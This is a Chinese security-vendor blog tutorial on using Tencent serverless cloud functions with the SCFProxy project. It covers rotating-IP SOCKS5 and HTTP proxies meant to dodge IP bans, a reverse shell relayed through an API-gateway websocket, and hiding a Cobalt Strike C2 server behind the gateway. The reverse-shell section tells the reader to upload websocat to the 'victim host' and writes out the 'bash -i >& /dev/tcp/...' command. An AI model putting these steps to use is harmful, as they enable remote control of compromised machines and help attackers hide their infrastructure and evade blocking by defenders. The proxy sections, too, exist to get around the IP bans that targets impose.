大数跨境

【技术专栏】云函数的使用

【技术专栏】云函数的使用 君立华域
2022-05-12
1
导读:云函数(Serverless Cloud Function,SCF)是云计算厂商为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码, 是实时文件处理和数据处理等场景下理想

前言

云函数


云函数(Serverless Cloud Function,SCF)是云计算厂商为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码, 是实时文件处理和数据处理等场景下理想的计算平台。只需使用 SCF 平台支持的语言编写核心代码并设置代码运行的条件,即可在某云基础设施上弹性、安全地运行代码。

无服务器(Serverless)不是表示没有服务器,而表示在使用 Serverless 时,我们无需关心底层资源,也无需登录服务器和优化服务器,只需关注最核心的代码片段,即可跳过复杂的、繁琐的基本工作。使用云函数(SCF)时,我们只需使用平台支持的语言(Python、Node.js、PHP、Golang、Java 及 Custom Runtime)编写代码,云计算厂商将完全管理底层计算资源,包括服务器 CPU、内存、网络和其他配置/资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等。


代理池的构建原理


通过API网关触发器触发云函数(SCF),接受来自客户端的数据,并将请求转发出去。利用云厂商提供的云函数(函数计算)功能,将客户端的HTTP请求转发,由于云函数拥有非常多的出口IP,也就不怕封IP了,但是出口多不代表没有上限,大家都用的同一厂商的出口IP,所以尽量不要滥用。

流程示意图如下:

大概原理是通过vps做中转,vps搭建socks服务端,socks服务端将请求转发至云函数的API网关触发器。










SOCKS5代理

项目地址:https://github.com/shimmeris/SCFProxy


云函数代码配置


  1. 先开通腾讯云函数;

  2. 在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6;


  3. socks_client目录中的server.py代码复制到编辑器上。注意bridge_ipbridge_port参数为vps的socks开启监听的ip和端口;


  4. 内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大,这样一个socks会话最多能维持15m;


  5. 完成。


云函数触发器配置


  1. 选择新建触发器;


  2. 设置触发器为API网关触发,其他保持默认即可;


  3. 最后得到一个访问路径。



客户端配置


  1. 将代码部署到VPS上;

    git clone https://github.com/shimmeris/SCFProxy.git
    cd SCFProxy/SOCKS5/
    #需要 Python >= 3.8
    pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/


  2. vps运行socks服务端;

    $ python3 socks5.py -h
    usage: socks5.py [-h] -u SCF_URL [-l ip] -sp SOCKS_PORT -bp BRIDGE_PORT [--user USER] [--passwd PASSWD]
    SCF Socks5 Proxy Server
    optional arguments:
      -h, --help            show this help message and exit
      -u SCF_URL, --scf-url SCF_URL
                            API Gate Way URL
      -l ip, --listen ip    Bind address to listen, default to 0.0.0.0
      -sp SOCKS_PORT, --socks-port SOCKS_PORT
                            Port accept connections from client
      -bp BRIDGE_PORT, --bridge-port BRIDGE_PORT
                            Port accept connections from SCF
      --user USER           Authentication username
      --passwd PASSWD       Authentication password


  3. 常用语法

    python3 socks5.py -u "API访问路径" -bp 监听端口 -sp socks端口 --user user --passwd pass
    #user和passwd参数可选
    • -u 参数需要填写 API 网关提供的地址,必填
    • -l 表示本机监听的 ip,默认为 0.0.0.0
    • -sp 表示 SOCKS5 代理监听的端口,必填
    • bp 表示用于监听来自云函数连接的端口,与 server.py 中的 bridge_port 相同,必填
    • --user 和 --passwd 将用于 SOCKS5 服务器对连接进行身份验证,客户端需配置相应的用户名和密码


SOCKS5效果


  1. 运行后如下图显示:


  2. 测试效果:





HTTP代理

项目地址:https://github.com/shimmeris/SCFProxy


云函数代码配置


  1. 先开通腾讯云函数;

  2. 在 函数服务 > 新建 中使用""从头开始""创建,函数名称及地域任选,运行环境选择 Python3.6;


  3. 修改 server.py 中的 SCF_TOKEN 为随机值(该值将用于鉴权),并将相同的值填入 client.py 中的 SCF_TOKEN,将 server.py 代码复制粘贴到编辑器中;


  4. 内存尽量选最小的,如有购买云函数套餐可选大一点,超时时间设置为最大。



云函数触发器配置


  1. 选择新建触发器;
  2. 设置触发器为API网关触发,其他保持默认即可;
  3. 最后得到一个访问路径客户端配置。


客户端配置


  1. 项目基于 mitmproxy 提供本地代理,为代理 HTTPS 流量需安装证书。运行 mitmdump 命令,证书目录自动生成在在 ~/.mitmproxy 中,安装并信任;

    pip3 install mitmproxy


  2. 将触发器中的访问路径添加至 client.py 中 scf_servers 变量中,多个以逗号 , 分隔;


  3. 开启代理开始运行。

    mitmdump -s client.py -p 8081 --no-http2

    如在 VPS 上运行需将 block_global 参数设为 false

    mitmdump -s client.py -p 8081 --no-http2 --set block_global=false



HTTP效果


  1. 运行后如下图:


  2. 测试效果:






反弹shell

项目地址:https://github.com/shimmeris/SCFProxy


数据库配置


  1. 反弹shell需要一个允许外部连接的mysql数据库,数据库配置语句如下:

    create database SCF;
    use SCF;
    create table Connections (
       ConnectionID varchar(128) NOT NULL,
       Date datetime,
       is_user tinyint
    )


  2. 修改 src 文件夹内所有文件中的如下变量:

    db_host = 数据库 host
    db_port = 数据库端口
    db_user = 数据库用户
    db_pass = 数据库密码

    push_back_host = 等后续配置 API 网关后填写



云函数代码配置


  1. 参照 HTTP 代理配置新建三个自定义函数,分别命名为 register, transmission, delete,这里不用单独配每个函数的API;

  2. 进入 API 网关配置,新建如下配置服务,基本信息名称随便填;

  3. 新建 API,前端类型选择 WS,其余默认,进入下一步;


  4. 开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:


  5. 点击立即完成,发布服务;


  6. 点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 push_back_host 变量;


  7. 修改 transmission.py 中的 PASSWORD 变量,该变量将用于客户端连接 ws 后将连接认证为用户。



使用方式


需要借助 websocat

  1. 上传 websocat(或远程下载)到受害主机;

  2. 执行 websocat -E --text tcp-l:127.0.0.1:12345 ws://apigatway 转发端口;

  3. 反弹 shell 到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1(2、3 两步也可利用 & 合并成一条命令);

  4. 攻击者连接 ws://apigate,输入 auth PASSWORD 认证为用户,之后正常发送命令即可。

  5. ws 连接后可执行的命令:

    auth PASSWORD 将当前连接认证为用户,只有用户能接收未认证连接发送的信息
    close 关闭当前连接
    closeall 关闭目前存在的所有连接



C2 域名隐藏

该功能无需任何代码,只需要在 API 网关 注册服务即可。


网关配置


  1. 在API 网关中新建服务,访问方式选择公网,其余不变;


  2. 进入服务界面,新建 API 配置如下,进入下一步;

  3. 配置后端类型为公网URL/IP,后端域名配置自己的 CS 服务器,后端超时拉满即可。



CS配置


  1. 将网关地址填入 host 监听器即可,这里注意复制过来的时候不要带http头和端口。


  2. 效果如下:





培训中心
往期推荐
Historical articles

【技术专栏】CVE-2022-0847漏洞分析



【技术专栏】起底一个仍在高速发展中的勒索组织——ALPHV



君立华域IP形象征集评选活动投票通道正式开启!



君立华域疫情期间充能计划,CISP-PTE等你来挑战!



【声明】内容源于网络
0
0
君立华域
【无安全,不低空】低空&信息安全产品、服务提供商。7*24h hotline:400-860-5109
内容 136
粉丝 0
君立华域 【无安全,不低空】低空&信息安全产品、服务提供商。7*24h hotline:400-860-5109
总阅读83
粉丝0
内容136